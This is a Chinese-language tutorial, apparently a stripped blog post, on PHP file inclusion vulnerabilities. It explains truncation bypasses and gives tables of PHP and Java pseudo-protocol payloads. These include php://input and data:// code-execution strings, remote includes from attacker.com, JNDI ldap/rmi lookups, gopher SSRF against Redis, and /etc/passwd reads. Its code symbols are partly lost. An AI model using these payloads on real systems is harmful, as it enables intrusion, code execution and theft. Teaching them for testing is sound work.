文件包含漏洞是由于 Web 应用在加载文件时将用户可控参数直接传入文件包含函数且未做严格的路径过滤、白名单校验、协议限制导致攻击者可以构造路径读取任意文件或执行恶意代码。核心成因使用include / require系列函数参数外部可控GET、POST、Cookie 等无白名单、无过滤或过滤不严谨PHP 配置、系统特性可被利用截断、伪协议、路径穿越本地包含无限制包含服务器本地已存在的文件如果没有需要结合包含的文件就需要结合其他的漏洞比如文件上传漏洞?php $filename$_GET[filename]; include ( $filename); ??php phpinfo(); ?比如说这是我们在本地创建的文件以及一个文件包含漏洞直接利用就能读取有限制的怎么去包含呢下面这个代码做了在后面必须加上.html的限制导致我们无法直接读取文件?php $filename$_GET[filename]; include($filename..html); ?1.00截断文件上传漏洞那一篇讲过可以去看看2.长度截断⻓度截断的原理windows⻓度命名⻓度限制256个字符由于磁盘分区需要占⽤⼀个字符所以⽤户 只能使⽤255个字符命名⽂件夹。 linux⻓度限制4096。远程文件包含包含远程服务器上的文件。必备条件allow_url_fopen On默认 Onallow_url_include On默认 Off参数可控且无协议过滤一.⽆限制我们利用本机来远程包含查看执行虚拟机上的文件远程访问。查看到了其他服务器上的文件二.有限制一样的我们还是访问这个文件被拒绝了那我们就修改文件的类型进行 截断绕过还原为1.txt%23是浏览器端截断?是服务器端参数截断两者在不同 WAF / 后端逻辑下可互换使用。常⻅脚本语⾔伪协议1.php://filter作用读取文件源码不解析执行常用场景读取 PHP 源码、配置文件防止代码被服务器直接解析http://localhost/include/upload.php?filenamephp://filter/readconvert.base64 encode/resourceupload.phpphp://filter参数详解read对读取数据流应用过滤最常用write对写入数据流应用过滤较少用于渗透resource必填指定要操作的文件 / 路径多个过滤器用|分隔过滤器类别核心过滤器对应 PHP 函数核心作用渗透实战场景经典 Payload 示例字符串过滤器string.strip_tagsstrip_tags()去除 HTML/PHP 标签绕过标签过滤、清理源码冗余php://filter/readstring.strip_tags/resourceindex.phpstring.rot13str_rot13()ROT13 字符变换简单绕过关键字过滤php://filter/readstring.rot13/resourceflag.php转换过滤器最核心convert.base64-encodebase64_encode()Base64 编码输出LFI 读取 PHP 源码防解析执行php://filter/readconvert.base64-encode/resourceindex.phpconvert.base64-decodebase64_decode()Base64 解码配合编码绕过、还原恶意代码php://filter/readconvert.base64-decode/resourceencoded.txt压缩过滤器zlib.deflate/zlib.inflate-gzip 格式压缩 / 解压绕过 WAF、压缩数据流传输php://filter/readzlib.deflate/resourceconfig.php加密过滤器仅老旧环境mcrypt.*/mdecrypt.*libmcrypt 扩展对称加密 / 解密仅 PHP7.3 老旧环境 / CTF 靶场现代环境已废弃极少使用2.其他常见的为协议伪协议名称核心作用实战高频场景经典 Payload 示例php://input读取 POST 原始请求体作为数据流直接执行无上传、无日志条件下 LFI→RCE?filephp://inputPOST:?php eval($_POST[cmd]);?php://output向标准输出写入数据流输出回显、文件写入、临时打印file_put_contents(php://output, test);php://memory内存级临时流读写速度快、不落地无磁盘写入临时数据、绕过写入限制file_get_contents(php://memory)php://temp临时文件流超阈值自动写入磁盘大量临时数据暂存、无物理文件利用file_get_contents(php://temp)data://内联数据协议直接携带代码执行无外部文件 RCE、绕过文件包含限制data://text/plain,?php system(id);?data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pgphar://解析 Phar 包触发反序列化漏洞Phar 反序列化 LFI 组合 RCEphar://upload/shell.jpg/shell.phpzip://直接读取 ZIP 压缩包内指定文件上传图片马打包 ZIP、包含 Getshellzip://upload/shell.jpg%23shell.phpzlib://读取 gzip 压缩数据流读取压缩文件、绕过流量 WAFzlib://shell.gzbzip2://读取 bz2 压缩数据流压缩流读取、特殊场景绕过bzip2://shell.bz2file://读取本地绝对路径文件绝对路径 LFI、任意文件读取file:///etc/passwdfile://C:/Windows/System32/drivers/etc/hostshttp://https://远程文件包含RFI直接远程包含恶意代码 Getshell?filehttp://attacker.com/shell.txtftp://ftps://远程 FTP 文件读取与包含内网 FTP 文件包含、RFI?fileftp://attacker.com/shell.php3.Java 常见伪协议伪协议名称核心作用实战高频场景经典 Payload 示例file:读取本地文件系统任意文件文件读取、路径穿越、SSRF 读文件file:///etc/passwdfile://C:/Windows/System32/drivers/etc/hostshttp:https:发起 HTTP/HTTPS 网络请求SSRF、内网探测、远程资源加载http://127.0.0.1:8080/actuatorhttps://192.168.1.1/jar:读取 jar/war 包内的文件资源读取配置文件、class 文件、代码泄露jar:file:///app/app.jar!/BOOT-INF/classes/application.ymljar:http://attacker.com/exp.jar!/exp.classldap:JNDI 注入利用协议反序列化 RCE、FastJSON/Jackson 漏洞利用ldap://attacker.com:1389/Exprmi:JNDI 注入利用协议反序列化 RCE、高危 Java 漏洞利用rmi://attacker.com:1099/Expdns:DNS 解析请求无回显漏洞验证、DNSLog 外带数据dns://your.dnslog.cnnetdoc:本地文件读取协议等价 file绕过file:过滤、文件读取netdoc:///etc/passwdgopher:构造 TCP 原始数据流SSRF 打内网 Redis、MySQL、FastCGIgopher://127.0.0.1:6379/_*1%0d%0aflushallnfs:访问 NFS 网络文件系统内网文件读取、共享文件利用nfs://192.168.1.100/share/file.txtftp:ftps:访问 FTP 服务器资源SSRF 内网 FTP、文件读取 / 写入ftp://192.168.1.100/exp.txt